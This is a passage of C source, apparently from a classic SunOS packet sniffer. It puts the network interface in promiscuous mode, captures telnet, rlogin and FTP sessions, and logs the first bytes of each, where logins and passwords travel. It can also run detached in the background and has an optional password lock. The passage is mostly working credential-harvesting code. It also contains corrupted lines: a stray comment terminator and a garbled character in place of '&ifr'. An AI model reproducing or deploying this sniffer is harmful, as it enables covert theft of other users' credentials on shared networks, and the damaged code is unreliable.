  947.   while(CLr != NULL) {
  948.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  949.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  950.             break;
  951.     CLr = CLr->Next;
  952.   }
  953.   return(CLr);
  954. }
  955.  
  956. #define ADDDATA_NODE(CL,DATA,LEN) { \
  957.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  958.  CL->Length += LEN; \
  959. }
  960.  
  961. #define PR_DATA(dp,ln) {    \
  962.   register u_char lastc=0; \
  963.   while(ln-- >0) { \
  964.      if(*dp < 32) {  \
  965.         switch(*dp) { \
  966.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  967.                         break; \
  968.             case '\r': \
  969.             case '\n': fprintf(LOG,"\n     : "); \
  970.                         break; \
  971.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  972.                         break; \
  973.         } \
  974.      } else { \
  975.         if(isprint(*dp)) fputc(*dp,LOG); \
  976.         else fprintf(LOG,"(%d)",*dp); \
  977.      } \
  978.      lastc = *dp++; \
  979.   } \
  980.   fflush(LOG); \
  981. }
  982.  
  983. void END_NODE(CLe,d,dl,msg)
  984. register struct CREC *CLe;
  985. register u_char *d;
  986. register int dl;
  987. register char *msg;
  988. {
  989.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  990.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  991.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  992.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  993.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  994.    fprintf(LOG," DATA: ");
  995.     { register u_int i = CLe->Length;
  996.       register u_char *p = CLe->Data;
  997.       PR_DATA(p,i);
  998.       PR_DATA(d,dl);
  999.     }
  1000.  
  1001.    fprintf(LOG,"\n-- \n");
  1002.    fflush(LOG);
  1003.  
  1004.    if(CLe->Next != NULL)
  1005.     CLe->Next->Last = CLe->Last;
  1006.    if(CLe->Last != NULL)
  1007.     CLe->Last->Next = CLe->Next;
  1008.    else
  1009.     CLroot = CLe->Next;
  1010.    free(CLe);
  1011. }
  1012.  
  1013. /* 30 mins (x 60 seconds) */
  1014. #define IDLE_TIMEOUT 1800
  1015. #define IDLE_NODE() { \
  1016.   time_t tm; \
  1017.   time(&tm); \
  1018.   if(LastTIME<tm) { \
  1019.      register struct CREC *CLe,*CLt = CLroot; \
  1020.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  1021.      while(CLe=CLt) { \
  1022.        CLt=CLe->Next; \
  1023.        if(CLe->Time <tm) \
  1024.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  1025.      } \
  1026.   } \
  1027. }
  1028.  
  1029. void filter(cp, pktlen)
  1030. register char *cp;
  1031. register u_int pktlen;
  1032. {
  1033.  register struct ip     *ip;
  1034.  register struct tcphdr *tcph;
  1035.  
  1036.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  1037.  
  1038.    if(EtherType < 0x600) {
  1039.      EtherType = *(u_short *)(cp + SZETH + 6);
  1040.      cp+=8; pktlen-=8;
  1041.    }
  1042.  
  1043.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  1044.       return;
  1045.  }
  1046.  
  1047.     /* ugh, gotta do an alignment :-( */
  1048.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  1049.  
  1050.  ip = (struct ip *)Packet;
  1051.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  1052.     return;
  1053.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  1054.  
  1055.  if(!( (TCPD == IPPORT_TELNET) ||
  1056.        (TCPD == IPPORT_LOGINSERVER) ||
  1057.        (TCPD == IPPORT_FTP)
  1058.    )) return;
  1059.  
  1060.  { register struct CREC *CLm;
  1061.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  1062.    register u_char *p = (u_char *)Packet;
  1063.  
  1064.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  1065.  
  1066.  if(debug) {
  1067.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  1068.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  1069.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  1070.  }
  1071.  
  1072.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  1073.  
  1074.       CLm->PKcnt++;
  1075.  
  1076.       if(length>0)
  1077.         if( (CLm->Length + length) < MAXBUFLEN ) {
  1078.           ADDDATA_NODE( CLm, p,length);
  1079.         } else {
  1080.           END_NODE( CLm, p,length, "DATA LIMIT");
  1081.         }
  1082.  
  1083.       if(TCPFL(TH_FIN|TH_RST)) {
  1084.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  1085.       }
  1086.  
  1087.    } else {
  1088.  
  1089.       if(TCPFL(TH_SYN)) {
  1090.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  1091.       }
  1092.  
  1093.    }
  1094.  
  1095.    IDLE_NODE();
  1096.  
  1097.  }
  1098.  
  1099. }
  1100.  
  1101. /* signal handler
  1102.  */
  1103. void death()
  1104. { register struct CREC *CLe;
  1105.  
  1106.     while(CLe=CLroot)
  1107.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  1108.  
  1109.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  1110.     fflush(LOG);
  1111.     if(LOG != stdout)
  1112.         fclose(LOG);
  1113.     exit(1);
  1114. }
  1115.  
  1116. /* opens network interface, performs ioctls and reads from it,
  1117.  * passing data to filter function
  1118.  */
  1119. void do_it()
  1120. {
  1121.     int cc;
  1122.     char *buf;
  1123.     u_short sp_ts_len;
  1124.  
  1125.     if(!(buf=malloc(CHUNKSIZE)))
  1126.         Pexit(1,"Eth: malloc");
  1127.  
  1128. /* this /dev/nit initialization code pinched from etherfind */
  1129.   {
  1130.     struct strioctl si;
  1131.     struct ifreq    ifr;
  1132.     struct timeval  timeout;
  1133.     u_int  chunksize = CHUNKSIZE;
  1134.     u_long if_flags  = NI_PROMISC;
  1135.  
  1136.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  1137.         Pexit(1,"Eth: nit open");
  1138.  
  1139.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  1140.         Pexit(1,"Eth: ioctl (I_SRDOPT)");
  1141.  
  1142.     si.ic_timout = INFTIM;
  1143.  
  1144.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  1145.         Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  1146.  
  1147.     timeout.tv_sec = 1;
  1148.     timeout.tv_usec = 0;
  1149.     si.ic_cmd = NIOCSTIME;
  1150.     si.ic_len = sizeof(timeout);
  1151.     si.ic_dp  = (char *)&timeout;
  1152.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  1153.         Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  1154.  
  1155.     si.ic_cmd = NIOCSCHUNK;
  1156.     si.ic_len = sizeof(chunksize);
  1157.     si.ic_dp  = (char *)&chunksize;
  1158.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  1159.         Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  1160.  
  1161.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  1162.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  1163.     si.ic_cmd = NIOCBIND;
  1164.     si.ic_len = sizeof(ifr);
  1165.     si.ic_dp  = (char *)𝔦
  1166.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  1167.         Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  1168.  
  1169.     si.ic_cmd = NIOCSFLAGS;
  1170.     si.ic_len = sizeof(if_flags);
  1171.     si.ic_dp  = (char *)&if_flags;
  1172.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  1173.         Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  1174.  
  1175.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  1176.         Pexit(1,"Eth: ioctl (I_FLUSH)");
  1177.   }
  1178.  
  1179.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  1180.         register char *bp = buf,
  1181.                       *bufstop = (buf + cc);
  1182.  
  1183.         while (bp < bufstop) {
  1184.             register char *cp = bp;
  1185.             register struct nit_bufhdr *hdrp;
  1186.  
  1187.             hdrp = (struct nit_bufhdr *)cp;
  1188.             cp += sizeof(struct nit_bufhdr);
  1189.             bp += hdrp->nhb_totlen;
  1190.             filter(cp, (u_long)hdrp->nhb_msglen);
  1191.         }
  1192.     }
  1193.     Pexit((-1),"Eth: read");
  1194. }
  1195.  /* Authorize your proogie,generate your own password and uncomment here */
  1196. /* #define AUTHPASSWD "EloiZgZejWyms" */
  1197.  
  1198. void getauth()
  1199. { char *buf,*getpass(),*crypt();
  1200.   char pwd[21],prmpt[81];
  1201.  
  1202.     strcpy(pwd,AUTHPASSWD);
  1203.     sprintf(prmpt,"(%s)UP? ",ProgName);
  1204.     buf=getpass(prmpt);
  1205.     if(strcmp(pwd,crypt(buf,pwd)))
  1206.         exit(1);
  1207. }
  1208.     */
  1209. void main(argc, argv)
  1210. int argc;
  1211. char **argv;
  1212. {
  1213.     char   cbuf[BUFSIZ];
  1214.     struct ifconf ifc;
  1215.     int    s,
  1216.            ac=1,
  1217.            backg=0;
  1218.  
  1219.     ProgName=argv[0];
  1220.  
  1221.  /*     getauth(); */
  1222.  
  1223.     LOG=NULL;
  1224.     device=NULL;
  1225.     while((ac<argc) && (argv[ac][0] == '-')) {
  1226.        register char ch = argv[ac++][1];
  1227.        switch(toupper(ch)) {
  1228.             case 'I': device=argv[ac++];
  1229.                       break;
  1230.             case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  1231.                          Zexit(1,"Output file cant be opened\n");
  1232.                       break;
  1233.             case 'B': backg=1;
  1234.                       break;
  1235.             case 'D': debug=1;
  1236.                       break;
  1237.             default : fprintf(ERR,
  1238.                         "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
  1239.                             ProgName);
  1240.                       exit(1);
  1241.        }
  1242.     }
  1243.  
  1244.     if(!device) {
  1245.         if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  1246.             Pexit(1,"Eth: socket");
  1247.  
  1248.         ifc.ifc_len = sizeof(cbuf);
  1249.         ifc.ifc_buf = cbuf;
  1250.         if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  1251.             Pexit(1,"Eth: ioctl");
  1252.  
  1253.         close(s);
  1254.         device = ifc.ifc_req->ifr_name;
  1255.     }
  1256.  
  1257.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  1258.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  1259.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  1260.  
  1261.     if(!LOG)
  1262.         LOG=stdout;
  1263.  
  1264.     signal(SIGINT, death);
  1265.     signal(SIGTERM,death);
  1266.     signal(SIGKILL,death);
  1267.     signal(SIGQUIT,death);
  1268.  
  1269.     if(backg && debug) {
  1270.          fprintf(ERR,"[Cannot bg with debug on]\n");
  1271.          backg=0;
  1272.     }
  1273.  
  1274.     if(backg) {
  1275.         register int s;
  1276.  
  1277.         if((s=fork())>0) {
  1278.            fprintf(ERR,"[pid %d]\n",s);
  1279.            exit(0);
  1280.         } else if(s<0)
  1281.            Pexit(1,"fork");
  1282.  
  1283.         if( (s=open("/dev/tty",O_RDWR))>0 ) {
  1284.                 ioctl(s,TIOCNOTTY,(char *)NULL);
  1285.                 close(s);
  1286.         }
  1287.     }
  1288.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  1289.     fflush(LOG);
  1290.  
  1291.     do_it();
  1292. }
  1293.  
  1294.